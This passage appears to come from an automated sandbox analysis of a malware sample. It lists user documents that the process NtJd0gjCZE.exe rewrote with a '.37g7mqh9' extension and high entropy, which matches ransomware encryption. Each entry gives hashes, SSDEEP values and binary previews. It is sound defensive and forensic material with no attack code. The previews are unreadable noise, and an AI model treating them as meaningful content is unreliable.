                                                                                Preview: ....5@JF{.+^!....{r..].{...,..h.'...^.......u...N.7jP.S.....i#..A.|X..<.A..+b6.Y....+1E..~i.YY.....D.&.U.Za.C6..30.#|h...{..:..B.....x.z.{........Q1.G....s(....s.,..J.!...8.=...%.....y"}.'......N....R.O.H. .w..<....#.....Ro.kV..ASM....1...e...D......t...?.j...~.P........br`....cI8...0.1*"\7....P...)1.4<.L*3.hT,aV.P4sm6....8.....\..c.T.{r...Z......A.G......$T.....03.....B..:.....`.Z....F..`D.AZ.e...i.?./.-;.9.}.+^uVH..q.dR._......qe0.4~w.....2.Z_...{..]OV.F..I"2..'..@..3`N.....Y....4..../..&...F-.... ..%....C$.zF.....!C.....u.$.....P1./f..........Z=!_T......G....Yb:..X......C..=....:.+.9.{.u..:|..._.E.m...`6vL.6`.5F0..G..Epv..q../..].....D..{.w7......7S.v\....W....F...J.>f..C...5..h._.2.M....z.W.Y..V...q......x.b.F.......;.x{.OW..Z>..6...B..6.h5s......lL..Sc. ;...Q.L.+4....0mC.LZH...../mq...`.5..Z......1^h|.;6....&.j."...6H.{..Nv..-^,.b.....K|@..[we...Yf.E../........#^.....s....X...yIX....d.....x.{X.Zt..h..B1.....TX%.2..k.....
                                                                                c:\users\user\documents\pivfageaav\NVWZAPQSQL.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.852576949476461
                                                                                Encrypted:false
                                                                                SSDEEP:24:qzxmzHTuy0+8lEdFwFTTbDA5oo3+3AH1LJz1avLg/5ArvQy2l9eDrTfu/AvwJn:qzx8P048hTb82o3+3kd405A0neHTfu/Z
                                                                                MD5:D744C14893A3E6DBA06D58E8C865EF74
                                                                                SHA1:E1A6606B3731DFA92CB9DA2C241EAB1132A47865
                                                                                SHA-256:EAEE298D271FA1DC278E2989F70AE2814F5E16D980B5A1B8FD9CE62B098B3095
                                                                                SHA-512:FADA590FBEDC66ACE786A33CB23437024DF90E776BE8DC7CD69B30C301AA471C4A7A35E3862EDBAEFBBCB66F6B8192CC8E6353B761C1DD0E4508D2ABA583EA4D
                                                                                Malicious:false
                                                                                Preview: ...4g......h.;..\>...{.n.....<.T.`....."..\.j......).......a..j..\..o..t.}..z.!.<..wT+`.^.`./PC.D..E..#...e..`......6=3......r3.....(.1l.~g&...Q.]..^q.".T...@....uXr..so. EV..5i"m.0..`.O...........BqI3...".VN.v.2.+.~...O..&]....].Qj..3..{..........7..6Q_....>..'......)....6w..........,...*.....U.>3.^sq..&...t`..U....+. .n{^.....U......lg..$yS....=T..bT^H.r.....F{..i..h.yM..Ot}.~[3|....I/..r..."JU/...v.......D.2.....X.W...[{.I.....lw.......e.P..*.VJ...??c.G..;..]6..XF......B...{;......X.V.0i..v..F.l:.....c............;..b......=...5.....Zz..n..Bqn.|..S=u.~."..}.}a6...k.Z(!..e.n..0.b.\.......nM*tE..H|..-..7..ux.e4pt.i9|.:6nWy..&C. _.[.-.Q ......4.....w..q.)a)...[U...q sQ..i..O..+b..KY..f.......F.^5.Q.6F..b..f,V.\..w........;..R.......d.b.n...w.j...._..|'.w.!....."eYW....4V...t...AU..tw...5.s...K.N v..~..[.../.L...xjV......H..RW.....^.....].4.-.E..Rfi`.+)....s..I...~.............Z..)....1....B.R..n5.".Aa^.....N.Y.gV....w.>.7..
                                                                                c:\users\user\documents\pivfageaav\PALRGUCVEH.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8348651128642075
                                                                                Encrypted:false
                                                                                SSDEEP:24:SqoonUiN0/eEXXh5VzyqD4bu1BXzzPpzrDTh9vRrTfu/AlbN:ShoW/XXhDO1bCDzPF7ZTfu/AtN
                                                                                MD5:8E2BEAB9928C2B5E83E974D7D8D7E087
                                                                                SHA1:04EFAF20A0518993B5426AC00150B0CD5FB4E936
                                                                                SHA-256:663C55BDD138A59408E864C6B48B30287375480C17909E3267DCE181BCDD5881
                                                                                SHA-512:55FC8410EF601387CECEB37281AB7A0BAD2AAE50AADE76EFAC707236BB4E881C79B476C99456492E4A34AFC55DF99CF1607DCCBB904F82AE757FA379B8625EBB
                                                                                Malicious:false
                                                                                Preview: V4.{y....].s.s.?[.k.....H..iY.....;.....5.H.R.|Q.s)].Sx..sS.L.ZZy..+B..+.h&k.._........b.E..N.....j...&....A+..L.Q..Y..m.@yY..2...x.....m_.6......`+.8.]..u..q...TEW.Voq..@Hv&s.)2..-....&w...|m....^[."...s.u.?DR.N.z.q...]@..DQ{#..W8%.Lp.j#<.i...B...Tr.y..J&.b.gV.o$E..j..g.+.}.D...b.....&....t.Cb...*......S...*..J:G..>3.RI...JS2s_.xm.Z(..8r.|.8C?B.......O.7Gi#./..\R%..O...]`.A.........e.c...o.....Y...G..tR|..1a..j7v....:/........S.".c._;.........#......3om]..1^.......g%.2....)..K.}....5........aS.....&m...=.UQ-@..[.Z.w.cB.?:....4"=].j..0...m.[.V.d......p..z>.gy.[g.*.".C.....\*.p..R.K.......<*.[.P...1...r.R......g2n.db.#.aW......t...z....x.8.%.u|........huIr.......g..&%y~....}.......)..5.T..2....Jor1.-h.iCa....w...........j......3.HM.h@f.k.<.gXh..".....4..W8gq..xb..)..6./...~I.nv0o..A.....rD.]z.......#...sY...4)..!....>Mk.d)..........]..GB...1.b..q....|sX.....(X$".g^bNg.:..A.'.b4I......d...\.gfF-w....+..b.+.....<...G....5U\T..!.K..V}..a....
                                                                                c:\users\user\documents\pivfageaav\PIVFAGEAAV.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.829574564020459
                                                                                Encrypted:false
                                                                                SSDEEP:24:03mGlQPJ0ihztNIHhokFuiv+Lp4kio+YTj9nBdeEoirTfu/Awaq:03mGlQPJ0izNOFVWLiro+69n6VITfu/T
                                                                                MD5:C934DB31ED2D875CD762F5C893A4B108
                                                                                SHA1:33BAEA9C40A14F6B8ACF3394EF0F9885E8B215F4
                                                                                SHA-256:8735E485049F36E6AE29D6A082F503729866D1C7DE8F4F84790138C96F59BCE5
                                                                                SHA-512:32D9F53738154EAF236134A172828C714612A9F2B501301A87AAFFA0EDE912895C9433F6FE2639F2B0B83155CA452C70936CF0A50CC9E5A9A57C3E5A1AA73771
                                                                                Malicious:false
                                                                                Preview: .uf.X...(.P...9....PF2."p!m....9.1GsTt...d..NR2.?M......z..;....J~..'......}.g.Hz%`..X..rud.A.B?R.....].B....g..~.....=W./.t..-.......JI.o_.'9....V..".F...Lt..(...\5at....2..M|DR.....Sza.=Tw..03..1..*.1..?..1.........{...C#?-......$mFE..1.....f.....4*...H.....I..f.n.c+.....S(.........I........S.4I...?...[.%....eaWoJq..H..o ..X.0.E.%.,.B.I...=........*.&c.....0...T1....47w..R.....:AD.?.]T..&..g.J...n@.Agi_.Sc...7."|gU.i......\+&.}X.......gN<29.O.......9.O.f..1Q.B.K8_+'..i.T..0Y.....&.....$....%H..vs...0,'a....w..;.*.2.+.......6z.._66.!........](#...V...U>.3.g$D0...f...|&<L...tk...'27.`X&.Z9..OZ. ...s6......z...D.i..F...j$....JO......G-..J..h.......@#.K.u#.....U_..X..qcf1..n|.....X.n...5/Lq....o.3e.G.i.oO%.^.....7.n.G....oA..kng..\..f.SK...@..S.b..h,:.*..v.....Kl.6H..7}. .n.vAo4..m..;`g..;..w.g...%..x....0...Ce....3..h...sUB.r.9..W..93.$...e...1V-WN.".2^...~.[.....r..$.wz.;.-.`..V6.)..s..%.=......I...b._..X..L......J...J.....n...].._5..]
                                                                                c:\users\user\documents\pivfageaav\SQSJKEBWDT.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.843447529389986
                                                                                Encrypted:false
                                                                                SSDEEP:24:SJhGwsXtyk1FcNdQhjh6M33c89Qfp22E+zDwSNmW3jrTfu/AvSz:Shc9CQ1hTc8KlzDwGmqTfu/Avu
                                                                                MD5:6CD9B3F4CA3A397EF3FD18EF48D3BD85
                                                                                SHA1:7F9402AAEA3F289FEDB73CEA0AAD07B23FAC87E6
                                                                                SHA-256:DB281FCBAB009EA8F17D3815112B6ED3008FB55DB6CE71158135BD1B70653DAE
                                                                                SHA-512:597C4D56090EB11666118C96902DF888D4E454BF0383FFDAF23E8E117884EE30A75464DE8BE6BFEE98F5708A642DC57975F3040D557F951F9B0D9433CF1FF802
                                                                                Malicious:false
                                                                                Preview: P...F...1P.i.E..k~..*. ...x. .......].T.B.../....>..8./.."...9.B.c...... ..9.c....i$.&.M....<.....*.....3.'....2....2Q)5!2..b.z..A.JP ..+O.....H..S..^8...xnh1..c.....@.d........`O...e."W.{.8v. !..U...h..3...._lzC..-k.d....Q.Q6.@..I7...~-.(..Z~..0....S.R..C9Zl..v.....\.$Z....g2..}.|Qj.edSP$....gO].....~..*.MP....D....l....1../...G,.....B...F.k_..v..L..h.....N(=..."0..S...K..io...)...a:..z.F.e..X...N.\.%......E..o...V.H.7.s.....S.Q..l>.k....@....#\T1..OzS;.R...Bh.....h...ZQ..f|..S.'Ho\....G.1....0|I.D..."..AGN....;_.Pf%.N.?......[/......W....uG.q.X.4.rX..S.~...].9x..V.=G...4yl.N.:.0..sX.."f..N..M......H........G..N.6.....H..!kY...gTZ.o..bCN,W<..f$...A.....c6YmEvq..s.....D~}.ev....q...7...:Cv...:....1..6=...W%.W.!d...5p'W..@].:..e...|>....H.....%....e.Y..Zk...;.....1X...%....D.....vf..F).).r.D..(........W2%...p.6.S'.Cx...RX.D..U....z...X....{..m.....p.D...2.+..1...-tT...6~1..]...)....&b...~.>@...wU.U9...(..ihTX=p.v.L.-n.Z(.if...y....9....
                                                                                c:\users\user\documents\sqsjkebwdt\CZQKSDDMWR.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:SysEx File - Ensoniq
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.850554124313013
                                                                                Encrypted:false
                                                                                SSDEEP:24:ouULPeewOZthOShSbZ8WYBXOvkK1tjExqluZyUuNETOF+hgikA+7rTfu/AB:odPeedthsZ89skK1tIxEP58OF+kPTfuW
                                                                                MD5:47F18C340E06BFEDC16CC924A6D022A0
                                                                                SHA1:74AC534AA49D03E1AA0DC1FCF838983437A09570
                                                                                SHA-256:9DACA9BF6240EE32327AEF5C709DDD9CDAF6F25BEBE7815EE3DFAEE4BE4C4B9D
                                                                                SHA-512:A4B0443501EE2F2056053138066670601588AC1C8BA2BDCB5966EB62F5F6B131571571E79ED1E4BBA151B4994A8ABE331C91C4E379213193358E45874F6B49D9
                                                                                Malicious:false
                                                                                Preview: ....1.S.,.............Ru....T.j.....:.z...pb0..........[.H...B.YX.Q.y......J...A.4.'..s.V.X.Q..........V.z.&. *Y...u.....qg....H!g...5.f.K.....}...#..q...r.P?I...l$..j..9....An.(..Z.p..So..K.d.|Y.\Y4p.`.p..}2....N..'3f.k............H.8Di...;t..p.n.zR.-!%3./_... T{..y...V......(.._ML....d.V........&....`E..V..^....].ej.p..`..T.g..I..b.{jy+I)>}..<.s.\.E.'@.XK.9...z,...y....!}.hN...,pU{..[#z..z.?t.......(.*.<.].B.w.k..\A..0N.:..M..vg..In....d....j)a..X.w.wnv`*...].m....Q.U.^a..G.^0.QR.m<.q\.c.....:..u..n..&W.....7.x......Fj.... @..?2......e.H..e/...k.zN.....e$(.#.O.....m....0........Z.{}sX.YpmAi....5m....#..........2[-....L...._24........1._...9.....'B..32..E.."..q.T.)NK.`../.B.\....K,Wa{.!.B....xp..'8.....zu..._wz.....O.o..p.$l..d{YW.|5C..6.!.N..7.p...... V..W.....4.=...<.v.i..V....;=...d^..!.T..>.....W.>.p...1"....Y.{hs!.w.........c...Y..p_*Y..E...G...{.e.e..s...sN......32:.......U..Rl.p.q...+.h5..\^..\..A.....iEM.X..@..T....;L...._
                                                                                c:\users\user\documents\sqsjkebwdt\EOWRVPQCCS.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.825424531874738
                                                                                Encrypted:false
                                                                                SSDEEP:24:rHMl2HjTZm8+rZU3IvQQg3EWGjjByDLeqAqitElznSs1rTfu/Agx:rpHjTloU3NQg0WGPCe1GlnNTfu/AG
                                                                                MD5:9E3CE409EAC290885FF76842805A1579
                                                                                SHA1:475CC820029D0A0B9C1DBA99208DDE3CF22EA9B6
                                                                                SHA-256:CF91B1D5F5EED1AC61334614F9A35A8CFBD5BC9BABABB4EC2ED1483218D8796C
                                                                                SHA-512:159E2436D1C1D5704A3E5F02D271826A0772D9BCA04768198BA144D9A83945C7381F691B8BA1AE2DD630973E4DDA8369D7C647C129E4F8551660F02B9271187B
                                                                                Malicious:false
                                                                                Preview: C.ub...........h.....P.........MZ!.ss....P.l.E^.......z..E'E.zn.....f"6U..7...1..^.Az..$..Z.....{.Sv~.6.sD....2'.s.)....t......(..>.Mw.>H...c.x;.......Y..!X.<).o..2....d!)..w|.5.j.0$.8-@$h.*J.... ..N..e.E@...n..9...Oq..o.W.."...z...yE.....)...;,1....^..iF"....Q..M..5...W9.H2..S...je.6.....ZO.k..P....6.t....$@".Y.#{.Y..Y..h...l.h..|pE..e.O....'2.yY:J$..$C.8.....G./.qv..Y.......J.*Nj...LH...&.|...... X.Gk....(.Z..]. ..y;q.f...*$Q..........X.t...1y..........G.z.w.2..K|}Ft.h...G.a.W..r.......Y.....1..N.+.Z..S..r..s.Lw>.+.I6".+..L....h\{..&.d....}..Za...\.kr......d.....q.."zQ.Q.tIW.z...+;....D...WM..l.D#..9.... .o....y.iN(/....K+...M".a..{.....9.....*.9..x.R.h..o%P[+..zd.B..[...;...:,>.....\I.<.3...l-..!....l.....#A..J.:.aLc..#Yc._..2.."B......}..@.."0\....6.Lm*>..3....Bsoq..'...1#.s..0Y...Bc...w.....'.>....Veb...]..P....z...[e$Y.k..../..:....lz..5....q.......;.."..R.N..z..p.a.5E...D..wn3.__..?.j.?.|]=....r......J=&nuM*....aE..M.6..F0...U...."...<..;
                                                                                c:\users\user\documents\sqsjkebwdt\GIGIYTFFYT.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.838135950239202
                                                                                Encrypted:false
                                                                                SSDEEP:24:XkqIIxkoFZruPCMoJdKTr8zlb63di5GtOv5023UZ+RrTfu/Ak0:fn/CP84ozkIk+w+Tfu/Ak0
                                                                                MD5:72A47E8552784C29522A9C98F1836DC8
                                                                                SHA1:9075EF4D895A03887015E05EF304597925AC59E2
                                                                                SHA-256:5AFD45FDB893ACB79009E5016B989CAEB57C0BDCD0009B4257A722129BCBD690
                                                                                SHA-512:57A221047F1776E7F4757A53CF4BADF170EA337CDA899513CAF915FF32ECF3D104AEA753012175413BFC45AE5E497213F5DF2CF93AC49989B588994B99C2C8B4
                                                                                Malicious:false
                                                                                Preview: .q.(...47...;..0.....<........@...-..m.j~..`..q.....$.N.!...p......5....,.Y4".p...5@3]q.hQ6.*..i|..@..,i.......o...M..!...$T.S..!..q.j.F.....qUp....q.V..D..T.@^|C*x..=.....`.....*0Fx."!..P@./.9...!..?^.g.T.P...o?.(..x.^....w.o=&ej..........[..n.,..v..);....<..H(..ZW...Uf.:....g...G...W?5.....`...k.0......%....C.../..@.......h.."...d#"...?TF......g]?S0.5ms...~.".S .4P...9.lV3..U<;..E..b.......%..I....a!._;..x.......^0L..k6S......4MIYPhU........y..SR.e./..9......O../.......%UAc.4hW@=..#w.0u.H....w..... .....R...du.9..(..s.FY.r...8.~..wxc.M...j....._d......RK..7.p........V}...8.........r...n.$.6...\AF..`...I....=.c....\.q...H(.n8..K..W.5Yn.v..U..e.Z.6..>.q.D...~D.P.k...ae.t.....l..R.`U....JN...P.....^..uR.x...43'.h..-MJ.G..R....:....K5...Y..3.....v..Z..y#..U].U....[.o.1%Y1.C....O..?9..?...^...%..................n..,0 ...6.>...-.0.@..g.C..+..s.W....Uh..kx)m.^.0.T..iPF.#3..F..(e.g....Q.G...[-..m...W....|{......U8.....].G......r._..(Vhg..-.3O.....
                                                                                c:\users\user\documents\sqsjkebwdt\GRXZDKKVDB.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.830770129509524
                                                                                Encrypted:false
                                                                                SSDEEP:24:OvgYHCZINUPLqGLcw+EiOB8s4HUTpKihkq4eKdqi07uBoGR1hrTfu/Alnr:XwyDLN+Eth4WpKQkqKdoGR1JTfu/Ad
                                                                                MD5:DFECCA04B00F28205E00C4D0780ECECC
                                                                                SHA1:FBE207A9762A0E5B893E8BBE14330DF00983493B
                                                                                SHA-256:EA52F205B177FDCF1E1FF294BA8E2C91666FB78875B99DA52EE159E7C3FB9757
                                                                                SHA-512:1C3347CA4E00666C0DF922CAB7E1EAE901D8E0319421F265746E610CA5CE236A3678D3738A743C93670A3A318BAB9E99ABDB060230D13B04C27AC4D540875AA4
                                                                                Malicious:false
                                                                                Preview: A.8..2:....c2..Z...:S..'...c.4a]d.-....-M...F......K......)..P!o.OH.5...f....6j.i..h.f.m..b.9.'t.Y...Z..K.%...9...5L<......eV.V..G.b.3...Ww./Oj.]q..=.?..I...O.._.w...........A..f.Q}.e....b.-U...-.1E.....b.".t>.;sG.......e..@v.E.5M..Y......Y3^...8.".u...u..a..u.......P....Tv'.g.!..?..|......|w..+,..:...[..X.e..6.x....L..Rr.!..f.....1...!.i.n!`;.W....a|....).?...x.'a..j.q.....Bbq.....c0.....P..$...sL^..0wd..!.K.D.Tv.4...DgS..dz...A.6.b"...!Lb.?...i.R;K.*.]...CM.!.u.G.._.+f'..c.p......A%H.Vq.(.=.v.J.2`.....@..b.V).!....Y.sO...SPI...1...?ny..:ev.)t$..@>....}...d*)!z5A...r....1.z4&..n.6....?.qp.<...B..^..H.......3...W...Zs9..gb^u...M.g...L=...4._...q;...tG.(......M8s...{.....S......}..L.U..-.[Wn"....i".0W2I..."^.s....s.k.3......[..D.{D.7.S.FLh.7.......~.x^.k...k..\..5.....u.#.\.j...e.y.Z.Hcb...6.X.y..qB4g1......GAq..s..l#.^c..U.<....#.Ui+WB.D...K.o.0y^.....).t.5.4Tbi.=.Zy...GXjq...ft.C..>e%[..T..JVWP]$..}.......b.Qo...p.A#...D./...C,.
                                                                                c:\users\user\documents\sqsjkebwdt\QCOILOQIKC.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.849808890864747
                                                                                Encrypted:false
                                                                                SSDEEP:24:dZq1ZLWpeU3KwGGER3BC5Qm20VJWAoTSBtBFZy/obEP++RrTfu/AjM1R4C:dZq1wSwaC5Qm2ckF2L7woAP7ZTfu/AjK
                                                                                MD5:4E573DE7364E2FFF23668C84FC43E68B
                                                                                SHA1:37732DC40DE82F094DCE4272E8C73CB7289FD30F
                                                                                SHA-256:6C7A09AFEB077962F131B5F3C0D77251F1CEA15F6BC855CBA4F9B78142C2DB81
                                                                                SHA-512:A051284184124450C74B8FCEA87F9CFAC1AF9A5597B1B1A40E9D38DC9134307C6A9405DDE16C2664D6EB91A92DDFE0977D4E887CFE309B605C617EDB36F4631E
                                                                                Malicious:false
                                                                                Preview: .Y*.>....6.....Y.....6\...|....}.s...n..I..r%........~...tA\Ug.:....}..`b.#..\..,g.....?.....sS......a...47...!.6...w....+.-.D.W.v...=\.0z.......q.4....f......z.Jj.F..B.-..#l...-.Hf...i;.*.0rZ5A..Q..Y....-_e.q..~5.x..*r....a.$ "../*.L(! @.........r...".w.m...]..Kr.....J5F5..K:'...F..Y..X.zTGW..V......v........r.Z.J)1T@.%....0.....c.@T.8....?......nU..[.-.r)...P-?.mY....d....P..9}.F|..XV#....WQ.Mp.&p.t .'..,.$..2@x{?..\.....v...e...v.<.M.....\..a.[f.}..Q.....n*.=..#.a-..mM.P./#.p.UX..v.........Itn._..k.-k.J...>%y.R...`..C..Cw.....0.>..8...O$Y...h).....h.......K...c...~.-.,h:.k....d..F...w.........P...vi.a.yn..G...J...!.Fx.d....A.u/......kLR.#.~q7.{.l..{9...a.L1..#..K.WH..7.[....!d.....Kt.u(.f...d.&d...1.j15..M..w.U.U.+.........h.c.QE.V......C....X6.....|.F[.[C...8.9.`.U. ....R.....6.W..f1.uml...+._%..p....N.".E..9...+,.6.W3...9...u0.c...O..{H..`.-.......k..P..9..K!`q].t..t.g.#o....t.z..x.......4ft../_%.............i..V._2....i..O.,S...d.
                                                                                c:\users\user\documents\sqsjkebwdt\SQSJKEBWDT.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.848823375202286
                                                                                Encrypted:false
                                                                                SSDEEP:24:XbAajkM1DUl1j7V9SpZYaRNhRZhopuIo/tMZwtq9bqrTfu/AL/IJA:XbHjkCUl1HV8pZlRN5hwo/tOfgTfu/AH
                                                                                MD5:2FC9C0AF1E8B92128F0F0F8471739881
                                                                                SHA1:D796A3BE7B1B073D2A739CDD0B87E23DEA0E9CF4
                                                                                SHA-256:45E230724747225CA987E2543C1711EDEF83C13F4B3020663020A25B517152D2
                                                                                SHA-512:AE8EC64B08737B6890603D1E50602AF9F62283AD8499ADACAAC49DA9B719793DA287DF9B52B9AF695D84044652629530BC1B9A1E7B55E8C30D448993A0EB10F1
                                                                                Malicious:false
                                                                                Preview: ..1.....#.......!.L.0...a.0..-06........qE..n.....N..g.?....p.B...+...U.N..o^z..C......6..Z....x...~A..%..o#<.".#=.~6.y@..e...v...}..v.+S..Y......c.P./...8..=:.6...Gh..t..^P...f&E.jD......f.N...'...=.tz.....{n....A.M5....f..I..x...._...F....T........;..^:@*.'0;.v.........kS...T[..'..D..@1.y....3mw.|.h.. [...."..o..L.|)52...j.M..i*.SfP..bE....@..V.(3R._0e]+..s.>t.V.c.9Vp..|.D....V.Y5o...\O.....N....1.X-..&.!r..H"..f...`....{..{W.W.....,w.f...>o o!.MYy..?......tVS..\c..s`I..?n.%..G....SlZ'^.c..y..z{P.-..}I4....cO=_...F....R...uc...C. ..S...o.O!..v\.G..\w.....m.e..#.rV..B.....}..".;X.1.>o..!.........@....N.y...._^.......7...}...5.}..+.o.b..PW...?.<..N...;.c...D...B...m...b.....m...H .E$...... :._..?.`..EN..;Etu....V;...&[........c.[Jx<z..h.2...m..Bk.....DUe+.^O..m.A..7....y2.Q..p.&f(...u..8.{.DP.....9...iy...;.T..Uq!.L.....FCuK8.z+....C......0.@.F}.m.u....7V...Q..I.w.....A....&6Q...".2. zL.-:...~.r.X$:E...d.+'...........k!..1...~..TW..
                                                                                c:\users\user\documents\suavtzknfl\BNAGMGSPLO.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8593098390247045
                                                                                Encrypted:false
                                                                                SSDEEP:24:VWP2bzK7hRObBV7bpEozmtTFZUKjsBwqeTB3jVW2rTfu/ALZ:VI2bzyRObBVHpEozmtrjnxcsTfu/At
                                                                                MD5:1ECC5AD36E869C05B0E5F39C17887217
                                                                                SHA1:D73D28D5430653F9165EA9B5ABEF2E09B0EDF0D1
                                                                                SHA-256:A60481EFE37D40474F06B9767EDE896AE2A8BDB8863F43BA7875053D8161FA30
                                                                                SHA-512:C3ED345AB6FC7FBEE7AF9B815971C7223D56EF56887DEF1A7929D46D5FCE0038EFBF6EB5AD297E7BEE154D4C3CB9E753619969AB70722B1EC176623CEF71E769
                                                                                Malicious:false
                                                                                Preview: ..........Q.K0E]....l.L......6..X.eG.].4.;..t..E.8.......@..I...m...rh...-B.T.x.....8 .S2.....@.{.....xh&..8.g...^.f:...p.]o....n~._...H..;b.....>...1.rEN..sn.*..{.......'...{.4......l.8>.z....c.a..d... R9.$.}}.7K...[./W..Cbt]..!.A.C@Y..u...\.....QRe.....T.:...X.'..*...t....m.""m..k.B3i.c.-.?a.w 1w..Z..3mGm$.....8e..........a....q....u...".Ifb8..+.[...;.....W.m7..[...Q...;.....*.A.PMb....nd..n.......t.....-.B.>.W....k......`..o.PY.*..&O.&.hS..-xO.1}..<.D.1../X.5..:(.`....tGn..l..#xp.[...#1f.}%?....@...E.....?.r....Mg..9B.M..w....A...k:j....w.eK8.!.....,..........Q.@.K..t.[.!.t.a.6...#Y.....Y\.VP..<.#X........f..|...b..!.kAV.xFw.-.$.....I7.5`.!'....-."..|zN..o{....&....EI,....*.R....>.X.s..j.;.......|<....)....fA..s[.w.D.5.....&.ql~>5.]z[~....1.h.Y..2..9.6...A..MD..<.F;X.(.{.....!O..W`..D..;s.8.\A[.r.;r.c.1.4.%....5..B..Y.S-..Bo...........e.Tv....3....ov......L..6M...........{.>.].....*..<[ju...[.:......F6y.._8.2....).z.n%...F.p$
                                                                                c:\users\user\documents\suavtzknfl\EEGWXUHVUG.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.872836483841574
                                                                                Encrypted:false
                                                                                SSDEEP:24:HHaQkMr0/igIO1AFbiQcZ4L8t+R1171WVQYr0ITiHjFNy9eLlG/7WUrTfu/AL0:naQVFyGFmF05RQ4G+j3EeLlG/7WWTfuT
                                                                                MD5:BBAAE6B22E167FD08C2B7B1D8D2F435F
                                                                                SHA1:08C85FE1E171D57869E42602C7B4D246D35A6508
                                                                                SHA-256:875D0007F37247234D40EE867535D15AF7E98E4386E0803A4A65A7BE1A47F984
                                                                                SHA-512:0A9071E9994C2B1F3CF5576E2EE8BA4D75185BE14C78A09BB5970D860642AE2AAE9B15221835C7561625CF7D15707018C0970B287DEAE61167063070CD63F432
                                                                                Malicious:false
                                                                                Preview: 7.8$.....A$8..1.....n....&v.a.]..C...~.z...Z.....Q.....m.cp.F`..9...9..w...t.;...V.>.Ts.(...q.]|.4.x7.C.D.....06.]P.1. .....U..h 7....}....m.M.S..Q..b...&Po....P.#.....-..]....blTJ=!.Y.......EH.F.o...g...}.R1SiS.....KX.Y3.h...6apq)L.. ....Td..#`..]....J...X.'...E....?..]..A-N...IO..d:\..6...)+R4].hv...C...AG..6t.6"..i.w..G.ECh...+..8"k.."._...L...... ...........W..s=N......t...9(%..i.....#t..qg\.J/)./.1tr.,.p.....B.GR..Y=..(..y....=..i....|U.3.]U..~.+@`..J..h]o....^..Ta.._.p....}.a.X.w/...QYV.p-Jr.I]...G.Ik..F.y.q{N....=....rI_....u${.}L...E.....Uw.IC%...w...d.{.....g..~...~.O..&@......]...(..P6...5W."......7...W....?L@..o.8`md.6.h....(....M.2.....ayN.%.".n}..W*lUR...>>....Y....{[..-=..)..4.-aj..f..n'_.....P..K..+.......f..r.7*..W.^........B...*.......{..9IO....V..G..U_....3H...%c<.....vc..a..(8.4.%w4.....>.r=i.%S.<.Gs.o_'.M.B.1...`..?...R.[X\.2.G\....G.H.ORs(.!SJz....y.....e.|Q..P..&.\.".......m'.>...d(|...h.d6....Q.,H\...Tw....".,.B[....`L.\'
                                                                                c:\users\user\documents\suavtzknfl\NVWZAPQSQL.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.83738630500219
                                                                                Encrypted:false
                                                                                SSDEEP:24:4zDJWPo8gBau+J9CxIKQ6AwweqgJrh6GSQ93UcI/lMlbStH3naGJrTfu/A9H:4fSo8lutIfHmVgWle53aGBTfu/Ah
                                                                                MD5:41C566F18C3626A35C650E56B5EB89DD
                                                                                SHA1:FBF9CBD4903CEF9E0BE6C8F8CA1385A862C1A584
                                                                                SHA-256:E7EB2B93801249E2B1197F27C8685070EC84E9270330349869AC78AEFEF7BF7D
                                                                                SHA-512:6C060FBEA8F5E07ED0AFF8F489AD210B0BAE9A620EC5148A29068EE7345FC31C7E5B52CCEB1AA53F50AE08E2684DF969E38537CFBD5E9D68A59854FADFB21CFE
                                                                                Malicious:false
